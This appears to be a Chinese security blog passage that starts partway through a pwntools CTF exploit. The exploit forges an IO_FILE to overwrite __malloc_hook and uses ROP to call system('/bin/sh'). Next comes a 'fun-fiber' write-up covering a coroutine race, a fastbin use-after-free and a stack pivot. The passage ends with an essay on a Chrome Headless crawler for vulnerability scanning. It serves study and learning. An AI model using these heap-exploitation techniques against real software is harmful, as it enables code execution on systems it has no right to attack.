#io_file_jumps=libc_base+libc.symbols['__GI__IO_file_jumps']
io_file_jumps=libc_base+0x3be400
binsh_addr=libc_base+next(libc.search("/bin/sh"))
system_addr=libc_base+libc.symbols['system']

#lock_addr=libc_base+libc.symbols['_IO_stdfile_0_lock']
lock_addr=libc_base+0x3c3770

#覆盖stdin的buf实际上是指向stdin结构上的,这里是不破坏原stdin的结构

fake_file=IO_FILE_plus()
fake_file._old_offset= 0xffffffffffffff00
fake_file._lock= lock_addr
fake_file._IO_buf_end=malloc_hook+8
fake_file.vtable=io_file_jumps
file_data=str(fake_file)

fake_file.show()
#计算需要填充的padding
payload=file_data[fake_file.offset('_IO_buf_end'):]
payload=payload.ljust(malloc_hook-io_buf_end,'\x00')
#最后覆盖_malloc_hook
#.text:0000000000400A23 lea rax, [rbp+name]
#.text:0000000000400A27 mov esi, 50h ; count
#.text:0000000000400A2C mov rdi, rax ; input
#.text:0000000000400A2F call input_data
payload+=p64(0x400a23)


#pdbg.bp(0x4008ff)
p.recvuntil(" trigger stackoverflow: ")
p.send(payload)

raw_input("get shell>")
#rop system('/bin/sh')
prdi_ret=0x0000000000400b43 #: pop rdi ; ret
payload='a'*0x10+p64(prdi_ret)+p64(binsh_addr)+p64( system_addr)
#trigger malloc
p.send(payload)

p.interactive() #get the shell

if __name__ == '__main__':
pwn()

安利一下raycp的pwn_debug,真的很方便,特别是不同libc的加载和io结构的构造上,你不用再去计算某一段对应的偏移。

fun-fiber

这是一道很有意思的题,是一个简单协程的实现方式,是我从看雪holling师傅发的文章里面看见的,第一次看见这种题,人生有很多第一次 :)

如果你对glibc里面协程实现方式不是很了解的话,需要去了解一下:

https://segmentfault.com/p/1210000009166339/read#2-1-_getcontext_u5B9E_u73B0

这篇文章讲的比较清楚,如果是第一次接触ucontext_t的话,这篇文章是不二之选。

要了解是ucontext_t基本结构和四个函数:

1
2
3
4
5
6
7
8
9
10
typedef struct ucontext
{
unsigned long int uc_flags;
struct ucontext *uc_link; //后继上下文
stack_t uc_stack; //用户自定义栈
mcontext_t uc_mcontext; //保存当前上下文,即各个寄存器的状态
__sigset_t uc_sigmask; //保存当前线程的信号屏蔽掩码

} ucontext_t;

1
2
3
4
5
6
7
8
int getcontext(ucontext_t *ucp); //将当前的寄存器状态放进ucp里面,相当于保存当前状态。

int setcontext(const ucontext_t *ucp); //从ucp取出状态恢复上下文。

void makecontext(ucontext_t *ucp, void (*func)(), int argc, ...); //设置已经初始过的ucp,改变其具指向的上下文

int swapcontext(ucontext_t *oucp, ucontext_t *ucp);//切换ucp保存的状态,并保存当前的状态到oucp

这里值得一提的是,ucontext_t->uc_link的用来保存后继的上下文。这点是怎么做到的可以去看看具体的swapcontext的汇编代码,这几个函数几乎都是用内联的汇编直接写的。它会劫持调用指定函数的ret来进行ucontext_t后继状态的切换。不过这道题没那么复杂。

这道题的难点都在于你对协程应用的了解,具体exp过程holling的文章已经写的很详细,在这里我只想记录一下我当时一些想法和心得。

协程很关键的地方在于状态的切换,比如现在执行的某个过程,到一定程度,你需要去暂停当前的状态,转而去执行另一项任务,就相当于cpu分配给执行程序的时间片一样。什么时候该切,在切的时候需要注意什么,这是我们需要关注的。

这道题就体现了单线程下的协程中临界区存在的问题。先把题目给的source贴一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <ucontext.h>
#include <assert.h>
#include <unistd.h>

// CRC

static uint32_t crc32_tab[] = {
0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f,
0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988,
0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2,
0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7,
0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9,
0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172,
0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c,
0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59,
0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423,
0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106,
0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433,
0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d,
0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e,
0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950,
0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65,
0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7,
0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0,
0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa,
0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81,
0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a,
0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84,
0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1,
0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb,
0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc,
0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e,
0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b,
0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55,
0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28,
0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d,
0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f,
0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38,
0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242,
0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777,
0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69,
0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2,
0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc,
0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693,
0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94,
0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d
};

uint32_t crc32(uint32_t crc, const unsigned char *buf, size_t size) {
const uint8_t *p;

p = buf;
crc = crc ^ ~0U;

while (size--) {
crc = crc32_tab[(crc ^ *p++) & 0xFF] ^ (crc >> 8);
}

return crc ^ ~0U;
}

// Fiber

static ucontext_t *g_fib;
static ucontext_t *g_active_fibs;
static ucontext_t *g_unactive_fibs;

void fiber_init() {
ucontext_t *fib = malloc(sizeof(ucontext_t));
getcontext(fib);
fib->uc_link = 0;
g_fib = fib;
g_active_fibs = fib;
}

void fiber_yield() {
ucontext_t *next = g_fib->uc_link;
if (next == NULL)
next = g_active_fibs;

if (next == g_fib)
return;

ucontext_t *current_context = g_fib; // g_fib
g_fib = next;
swapcontext(current_context, g_fib); //first g_active_fib swapcontent(g_fib,g_fib)
}

void __fiber_new(void (*f)()) {
f();
while (1)
fiber_yield();
}

void fiber_new(void (*func)()) {
ucontext_t *fib = malloc(sizeof(ucontext_t));
getcontext(fib); //init current status

fib->uc_stack.ss_sp = malloc(0x8000); // init customize stack
fib->uc_stack.ss_size = 0x8000;

makecontext(fib, (void*)__fiber_new, 1, func); //
printf("Starting Worker #%08x\n", (unsigned)fib);
fib->uc_link = g_active_fibs;
g_active_fibs = fib;
}

int fiber_toggle(ucontext_t *moving, ucontext_t **from, ucontext_t **to) {
ucontext_t *fib = *from;
ucontext_t *last = NULL;
while(fib != NULL && fib != moving) {
last = fib;
fib = fib->uc_link;
}
if(fib == NULL)
return 1;

if(last == NULL)
*from = fib->uc_link;
else
last->uc_link = moving->uc_link;//unlink

moving->uc_link = *to;//insert to other queue
*to = moving;
return 0;
}

int fiber_pause(void *id) {
return fiber_toggle(id, &g_active_fibs, &g_unactive_fibs);
}

int fiber_resume(void *id) {
return fiber_toggle(id, &g_unactive_fibs, &g_active_fibs);
}

// Lock free stack
struct node {
void *entry;
struct node* next;
};

struct node* job_stack;
struct node* result_stack;

void push(struct node **stack, void* e){
struct node* n = malloc(sizeof(struct node));
n->entry = e;
n->next = *stack;
*stack = n;
}

void* pop(struct node **stack) {
struct node *old_head, *new_head;
while(1) {
old_head = *stack;
if(old_head == NULL){
return NULL;//empty stack case
}
new_head = old_head->next;
/*
这里用了一个中间变量来判断临界区有效性,但是这里存在堆上内存空间的复用

第一次yield的时候,worker都会停在这里。不会继续执行下去

*/
fiber_yield();//exploit here
if(*stack == old_head) {
*stack = new_head;//if exploit properly, *stack can be setted to a dangling pointer
break;
}
}

void *result = old_head->entry;
free(old_head);
return result;
}

// App

struct job {
unsigned int id;
unsigned int len;
unsigned char *input;
unsigned int *result;
};

unsigned int job_id = 0;
unsigned int n_jobs = 0;
unsigned int n_workers = 0;
unsigned int n_results = 0;

void worker() {
while(1) {
printf("[Worker #%08x] Getting Job\n", (unsigned)g_fib);
struct job* job = pop(&job_stack);
if(job == NULL) {
printf("[Worker #%08x] Empty queue, sleeping\n", (unsigned)g_fib);
fiber_yield();
continue;
}
printf("[Worker #%08x] Got a job\n", (unsigned)g_fib);

*(job->result) = crc32(0, job->input, job->len);
n_jobs -= 1;
n_results += 1;
push(&result_stack, (void*)job);
}
}

int menu() {
printf("Menu: (stats: %d workers, %d jobs, %d results)\n", n_workers, n_jobs, n_results);
printf(" 1. Request CRC32 computation\n");
printf(" 2. Add a worker\n");
printf(" 3. Yield to workers\n");
printf(" 4. Toggle worker\n");
printf(" 5. Gather some results\n");
printf(" 6. Exit\n");
printf("> ");
int choice;
scanf("%d", &choice);
fgetc(stdin); // consume new line
return choice;
}

int main() {
unsigned int wid, size;
setbuf(stdout, 0);
fiber_init();
printf("=================================\n");
printf("=== CRC32 As A Service ==\n");
printf("=================================\n\n");

while(1) {
switch(menu()) {
case 1:
if(n_jobs < 10) {
printf("Size: ");
scanf("%d", &size);
fgetc(stdin); // consume new line
if(size > 0x100) {
printf("Error: input needs to be smaller than 0x100");
} else {
unsigned char *input = malloc(size);
printf("Contents:\n");
assert(size == fread(input, 1, size, stdin));

struct job *job = malloc(sizeof(struct job));
job->id = job_id;
job->len = size;
job->input = input;
job->result = malloc(sizeof(unsigned int));

push(&job_stack, job);
n_jobs += 1;

printf("Requested job. ID: #%08x\n", job_id++);
}
} else {
printf("Error: job worker limit\n");
}
break;
case 2:
if(n_workers < 4) { // max 4 workers
n_workers++;
fiber_new(worker);
} else {
printf("Error: reached worker limit\n");
}
break;
case 3:
printf("Working...\n");
fiber_yield();
printf("Finished working for now.\n");
break;
case 4:
printf("Worker ID: #");
scanf("%x", &wid);
fgetc(stdin); // consume new line
if(fiber_pause((ucontext_t *)wid) == 0) {
printf("Pausing worker #%08x.\n", wid);
} else if(fiber_resume((ucontext_t *)wid) == 0) {
printf("Resuming worker #%08x.\n", wid);
} else {
printf("Error: Worker #%08x not found.\n", wid);
}
break;
case 5:
while(1) {
struct job *job = pop(&result_stack);
if(job == NULL) {
printf("No more results right now. Try again later.\n");
n_results = 0;
break;
} else {
printf("Job #%08x result: %08x\n", job->id, *job->result);
free(job->result);
free(job);
}
}
break;
default:
return 0;
}
}
return 0;
}

主要功能提供是crc的计算,在此之前我还去特意复习了一下crc,大学学的几乎全忘了 :(

整个过程相当于一个协程池,job_stacktaskswokers相当于协程,关注点在于什么切的状态。最先遇到切状态的点在于pop里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void* pop(struct node **stack) {
struct node *old_head, *new_head;
while(1) {
old_head = *stack;
if(old_head == NULL){
return NULL;//empty stack case
}
new_head = old_head->next;
fiber_yield();//exploit here
if(*stack == old_head) {
*stack = new_head;//if exploit properly, *stack can be setted to a dangling pointer
break;
}
}
void *result = old_head->entry;
free(old_head);
return result;
}

对于临界区的正常读写处理应该是先给临界区加锁。比如这里pop应该是一个原子操作,包括出栈和读写。但是这里你可以看到的是,它却在读以后,并没有出栈,而是直接切了状态。这样做其实也没有问题,在多线程操作的如果不能加锁,在进行对临界区数据处理的时候,应该进行相应的数据效验,判断这个拿到的数据是不是有效的。它也做了这个操作,但是这个check操作显然不太合适,仅仅比较了拿到的数据 是否还是栈顶元素,并没有进一步验证数据的内容完整性。

起初这个题我是x64编译,x64编译和x32这里有一点点小差异。差异在哪呢?

就是当malloc(sizeof(struct job)) free 掉以后会进入fastbins[0]nodejob->result一样。其实这里也影响不大,照样可以让job->result malloc到我们想要的fastbin chunk

这里的exp可能有一点绕。因为一直在会经历很多次出栈压栈。目标chunk的位置的引用一直在变。

具体exp的过程就是

  1. 申请开始2个worker,这里开始就直接申请两个worker是有好处的便于计算heap address。
  2. 再添加两个job。
  3. 第一次fiber_yield。第一次fiber_yield ,两个worker的状态都会停在pop的地方,拿到的job都是栈顶元素。
  4. 暂停第一个worker,再次fiber_yield ,让第二个worker处理完栈顶的job。把结果压入结果栈。
  5. 输出结果,在这里输出的结果的时候。同样会经历pop,第二个worker也会处理完,把结构压入结果栈。接下来就是输出结果,输出结果的时候首先会释放result_node ,再释放job->result, 这两个都是在32位下都是fastbin[0]0x10下面的chunk,这个时候很巧妙是fastbin的结构。

首先是job入栈,然后是job_node出栈,然后result_node入栈,然后result_node出栈,同时释放所有job结构,但是这里job->input始终是不会释放的。正是因为这种对称的流程,在完成两个job以后,fastbin[0]会有四个chunk。如果再次分配正常job,确保input的大小还是大于0xc。释放的第一次栈顶node内存空间,同样还是栈顶node。

这时候再次恢复被pause的worker1,check的条件还是成立。这里会继续将栈顶元素出栈。同时栈顶变成了原先第二个job_node,但是这个job_node 现在还躺在fastbin里面。所以这里造成了一个UAF。

如何利用这个UAF来改变进程控制呢?简单

再次把worker1 pause掉。只要一个worker处理就行了,两个worker指向现在都是一样的,都是在fastbin里面的那个node。仔细看malloc的流程。如果这次让input的size小于0xc,input也会拿到0x10的chunk,这个uaf指向的node 就会被分配给接下来的job->result

这时在来一次yield。会开始计算我们新分配的job,同时结果写进了job->result, 也写进了next_job_node的entry。所以这里我们可以拿到一个任意地址的job结构。同时有了这个伪造job我们就可以射任何地方了

1
2
3
4
5
6
struct job {
unsigned int id;
unsigned int len;
unsigned char *input; //写的内容 当然这里还是要爆破滴滴滴
unsigned int *result; // 写哪里
};

这道题因为crc的存在。不能直接写,得爆破一下。 再就是考虑设哪里,射__malloc_hook 这些需要先leak先libc_base,所以这里还是得射stack上,来搞ROP。这也是这题我学到的东西。

worker的栈在heap上,所以这道题射worker的栈,第一步就是切栈,把栈切到事先准备好的job的input上,前面已经说过了这里job->input永远都不会被释放,所以这里还是安逸的。如何切呢?

在fiber_yield会用用leave/ret来切上下文。 leave == mov esp ebp; pop ebp.所以这里最好的就是在这里直接射ebp。holling师傅没有用算术gadget来加减 got表上的函数地址来计算system的地址。直接用的是putscanf的函数调用,这里跳内存方式也很精髓,也不能说跳内存,应该是循环调用函数。循环的用leave来切栈。在x32确实很方便。

这道题花费前前后后应该1天多。但是值得,工作的时候无法一直看,只能断断续续的看。第一次看这种类型题,但是人生有很多第一次。以后出现并发的先看临界区。:)

关于 Chrome Headless 漏扫爬虫的一些思考

引言

去年5月初识Chrome Headless,带我走进了一个全新的领域,恰好那时学校要求去做一个爬虫。经过一段时间信息的收集,看见了fate0师傅写的关于动态爬虫漏扫文章,觉得非常不可思议,只能用amazing来形容。于是我决定实现它,但是前前后后几乎一年多的时间,断断续续的写。以至于最后也变成了我的毕业设计,感触很多,思考也很多。

如今关于用chrome headless来构造爬虫的资料也有许多,所以这里我不会过多从大方向去介绍它,我想讲一讲关于某些细节的实现。

The Start

第一个摆在我面前的问题是,我应该用哪种方式去操作CDP。

这很重要会决定后面应该去怎么写,我首先尝试的是官方出品的puppeteer https://github.com/GoogleChrome/puppeteer

这是我的第一个选择,nodejs写的,但是经过一番简单的尝试以后,我并没有决定使用它,转而又去使用了另一个也是用nodejs写的package-chrome-remote-interface

https://github.com/cyrus-and/chrome-remote-interface

这个包的调用方法更加的贴近原生的CDP的api,于是我选择了它,但这两种写法都是基于nodejs的,在这其中我遇到了一个没有sleep函数的尴尬,因为最开始我需要使用sleep来等待页面,这其中包括页面的加载和对页面的处理时间,而且也不好动态判断,关于等待页面加载和页面处理时间点的处理,后面我会详细讲一下。

最后实在不太喜欢await的语法,但是我还是比较喜欢callback的写法。于是又一次结束了这段时间的尝试,后来我想要不要用go来试试,最好我认定了go是最好的处理方式。 go是最直观的阐述了什么叫多线程的一门语言 :)

于是我直接去找了github 上star最多的chromedp,用了之后却发现其实不太好用,还不如自己重新造个轮子,这个package竟然都不能自定义给CDP的事件添加回调,于是我去官方提了一个issue,引了很多人的讨论

https://github.com/chromedp/chromedp/issues/252](https://github.com/chromedp/chromedp/issues/252

也有很多人使用了比较巧妙的hook方法,只是这一切都来的太迟了。我早已经了fork了原来的项目,添加了可以自定义给CDP添加回调的接口,删掉了几乎chromedp里面所有包装了CDP中DOM模块的接口,我更喜欢原生的js在游览器的console里面执行,修复了一些在headless下的一些小bug,比如在headless下面并不能正常的关闭游览器,初步可用。

在今年3月,官方也决定了重构整个chromedp,发布了dev版,但是还是先前说的那样,这一切都来的太迟了,我也没有重新用过重构后的chromedp,但是应该不会太差吧。其实原先的chromedp并没有兼容的headless下面的CDP,而是面向正常的可视化下的chrome浏览器,所以或多或少会存在一些问题,但是这些问题也并非是不可解决的。

页面加载等待时间的确定 && 页面中爬虫脚本执行完毕的时间点的确定

第一个时间点的确定,其实就是什么时候该往页面去注入JS,首先要考虑的是什么时候标志着页面趋近于稳定状态。

关于这个问题fate0师傅设计了一种等待模式,或多或少我觉得有些稍微复杂了一些,于是我决定去看看能不能找到更加稳定的时间点,我回过头又去重新看一遍页面加载过程的生命周期,多了几个fate0师傅没有提到的几个事件,于是经过研究这几个事件,发现也是不能绝对预测的。最后还是把目标锁定在了DOMContentLoadedLoaded这两个事件上,也是在页面js中经常检测页面变化所使用到的事件,fate0师傅所提到的顾虑也是关于这两个事件。

一般的框架语言或者业务逻辑的需求都会去绑定这两个事件,去执行一些操作,注入js的时间必须靠考虑到这两个时间点,如果只是单纯的去考虑这两个事件,比如完全等到页面停止转圈以后再注入js,但是如果存在一个比较大的资源文件,比如字体视频图片,那么去等待它的加载是完全没有必要的,那么再将范围缩小,考虑几个必要条件,注入的爬虫js脚本肯定是需要DOM树的支持,如果页面原有的js绑定了这个时间点,那么它势必会做一些操作,这些逻辑通常包括的是初始化一些过程,这对于页面的完整性有很重要的意义,我们不能去干扰到它,所以我们需要找到一个时间点是这些原有的回调过程刚好结束以后的某个时间点。

如何确定这个时间点呢?

其实这里关于DOMContentLoaded之前我的理解一直是错的。触发页面的DOMContentLoaded的时间点其实是在用户绑定的操作完成以后才发生的。这里我使用了F12里面preformance功能所观察到的,通过这个功能可以实时的观测运行时preformance.timing的变化,通过测试发现如果绑定多个回调函数在DOMContentLoaded上时,相应的回调函数调用的时间是位于domContentLoadedEventStartdomContentLoadedEventEnd之间,而DOMContentLoaded发生在domContentLoadedEventEnd之后一小段时间里。load也一样,也是发生在loadEventEnd之后。

所以这里有一个很重要的信息是,在考虑监听DOMContentLoadedload时候并不需要去关注用户是否在这里绑定了回调函数,因为已经执行完毕了。所以在注入js的时间点上,我使用是等待DOMContentLoaded,然后直接注入js,可能存在一些不容易被发现的问题,如果有师傅发现在这个点有好的思考,欢迎交流。

第二个时间点的确定,爬虫脚本执行完毕的时间点。如何去标志这个时间?

在最开始也困扰了我很长时间,爬虫脚本执行完毕以后的结果,应该是页面又开始趋近于稳定,第一次稳定是发生在页面的加载过程。如果你去仔细想想这爬虫脚本执行整个过程的话,其实比较复杂且不可能来预测的,所以我第一次是用sleep来等待一个合适的时间。这样做其实非常不妥,肯定不能是等待固定的时间,随着页面复杂度的增加,这个等待时间也应该是正向增长的,随之而来的问题是怎么确定页面的复杂度?

如果细心观察的话,在往页面注入js的时候,如果是比较简单的表达式,会直接返回相应值,而如果是不能立即返回的复杂表达式的时候,这个时候会返回一个inject-id,关于这个差异我又去仔细读了一遍CDP的文档,发现了在runtime模块又发现了一个有意思的接口 Runtime.awaitPromise,当把inject-id作为objectId参数传递给这个接口的时候,它会等到我们注入js脚本完全结束以后才会返回,我们可以用它来阻塞当前的控制进程,这里就实现了标志爬虫结束的时间点。

避免爬虫进入死循环

爬虫在遍历节点的过程,可能进入死循环,这个东西很奇妙,你会遇到,也可能遇不到。最终我解决这个问题的方法就是--”让我们的爬虫尽可能模拟一个正常人去浏览页面“,在写js爬虫尽量去掉一些反人类的逻辑。

关于如何遍历页面的节点和监控页面节点的新变化,fate0师傅已经的很详细了,我在这里不再赘述,其中fate0师傅提到了首先要对所有节点做一次深拷贝,这个操作其实不仅仅在开始就要做,在后面的每一次深度遍历之前,都需要再做一次,收集当前处理节点下的静态子节点。关于节点与节点之间处理的时间间隔,这个也十分重要,如果你增加有过类似的经历,在不加时间间隔的时候,form请求会被cancel掉,在网络层你会拿不到form的请求,关于这个时间间隔是多少,我也无法去准确描述,应该根据你所处的环境去判断,如果能设计出一种自适应的机制,那一定会很棒!

关于用MutationObserver来监控页面节点时候,有一点你需要知道的它是不会立即返回页面节点的变化,它会等到一次DOM操作完全结束才会返回。

在这里我讲一个我遇到的进入死循环的问题,应该是在用爬虫测试wp的时候发生的,有这样一个情况,有两个按钮,一个变化,另一个也变。这导致一直在通过MutationObserver接受相同的records,然后陷入死循环,内存暴涨,最后chrome crash。这个地方我调了好一会也才找到问题发生的地方,这个情况应该去怎么样处理呢? 经过我的仔细分析因为相关的页面变化没能及时返回,这个时候其实页面已经变化了,但是又回去处理旧节点,这地方就会出现问题。然后我仔细了思考了一下,人在面对这种问题的时候,应该怎么处理,人在点击某个按钮之后,等待页面发生变化之后,在这个变化的基础上,再去做一些操作。这很好理解,我们不能切状态,必须马上响应当前的变化,所以我调整了爬虫,在每次对节点处理之前,我都会通过ob_callback_func(ob.takeRecords());这一步先清空记录页面变化的records,确保之前的变化都能被响应。

这个地方的处理是玄之又玄,你可能一时间无法想到可能存在隐藏的问题,陷入死循环,让爬虫脚本无法正常结束,其实说白了,这个爬虫还需要经过大量的前端应用识别,来进一步优化。 :(

网络层的处理

这一节是关于如果拿到链接的一些细节,如果你想全部在网络层拿到所有的链接。

这个有一个工具不得不提ajax-hook,因为异步请求是会被其他操作cancel掉的,你需要去完全hook掉xhr,让ajax全部改为同步的,这样所有的请求都可以在网络层拿到,关于是否放行xhr,这个也没有固定的选择,又一个纠结点,xhr的response是否会产生新的链接,这是我们无法预测的。

在第一次遇到重定向链接的时候,让我又开始重新思考网络层拦截的流程,我之前的策略是放行page.navigate,然后之后的请求全部abort,在这里就很尴尬了,遇到了重定向的返回,页面直接变空白。

所以不得不重新想一下具体的流程。所以策略又变为遇到重定向之后,直接放行。我又遇到了另一个问题,在文档中拦截到的请求是Network.requestIntercepted这个事件,这个事件是包含redirectUrl这个字段,当然这个字段不为空时,代表拦截的请求是重定向链接,这里需要结束一下关于网络层的拦截器的设置,是可以指定拦截的时候,分为请求发起的时候,和接受到请求响应的时候,这两个时间点,由于文档不是太清晰,加上设置的拦截点一直是发起request的时候,一直没有redirectUrl这个字段,遂去看了chromium实现此处的代码,这是我当时去看chromium源码的经历# Network.requestIntercepted for Redirect,所以此处另外我还得设置对response的拦截器,那会不会造成资源浪费呢?

其实不会,这篇文章里有为什么,另外这里也提到其实这里也是可以通过改源码来实现的。

URL分类

这里我等了很长fate0师傅关于漏洞检测技巧的文章,但是等了很长时间也没有等到,想和师傅的文章印证一下自己的想法。所幸的是师傅关于这节的文章也在后来发出来了,可是我这个项目也已经很长时间没有动了。

这里为什么叫URL分类呢,主要是想谈一下关于去重的技巧,再到怎么把URL分解成一个一个 unit传给我们的漏洞检测或者fuzzing模块。这里的去重并不是简单的相同的去重而是相似去重。其实很多时候都是在猜程序员的心里想法。

一个url 可能如下:

1
http://90sec.org/something.php?a=view&page=1&pre=20
请求的结构分成固定的逻辑参数和非固定的参数。

很明显上述a是逻辑参数,而page和pre是用户指定的非固定的参数,那么这里就可以写一条临时规则 something\.php\?(a=view|page=\d*?|pre=\d*?){3},根据规则命中的数量,我们可以有理由去判断这是不是一个真正的规则。

我们策略是先遍历规则库,没有命中再去刷一遍已经跑过的列表,这只是简单的判断策略,URL很有可能是rewrite过的,这个时候你的参数分割符也要变,关于怎么判断是不是逻辑参数在这里只能靠去,然后靠后面的命中阀值再去判断,猜也有策略的比如1位数字,纯字母,这就很有可能是逻辑参数,固定长度单一数字串,可能是时间戳,固定长度的字符串,可能是hash,这里就完全靠你开发经验能不能猜中程序员的❤了。

再就是要把URL分割成unit,什么叫unit呢,用下面例子来解释:

1
2
http://90sec.org/something.php?a=view&page={{exp}}&pre=20
http://90sec.org/something.php?a=view&page=1&pre={{exp}}
你需要对你分割的URL参数再做一个排列组合,每次保证只有一个变量,我们的漏洞测试模块只需要去替换{{exp}}就行了,这里就可以把爬虫和漏扫分开为两个独立的模块。

在我的爬虫里面,我把fuzzing模块写成了.so,这里吐槽一下go编译出东西是真的大,import一个package,尽管只调用其中一个方法,都会把包的内容全部编译到二进制里面 !: ,还有一个吐槽点不能动态的卸载.so!!

再不重新编译chromium情况下的一些处理

fate0师傅提到了由于一些问题,我们不得不去重新编译chromium,来满足我们的需求,这个过程相对来说是比较困难的,首先第一个难题就是拉chromium的代码,然后改完之后再编译。

我逃了(有一个肯定会遇到问题,在触发了用window.open打开窗口的时候,这个时候拿到新的window的url之后需要去关闭它,如果你能直接重新编译chromium,你可以直接不允许在当前页面中打开一个新的页面。但是做不到的前面操作的时候,这个时候该怎么去处理呢?由于设计的时候,要做到并发,例如开5个tab,那么在chromium启动的时候,直接给它5个tab,后面打开的tab直接全部kill,缺点是后续你无法动态的添加tab,因为通过CDP我们无法去确定是谁打开了新的tab,对它来说无论是谁,都会被kill。

但是关于连续的location这种,我们还是无法处理。有种深深的无奈 (

尾声

其实还有很多点不能用语言去全部阐述,因为坑太多,再后来由于没有时间,做到最后,我想我实力再强一点,我为什么不能把chromium改造一个漏扫呢???

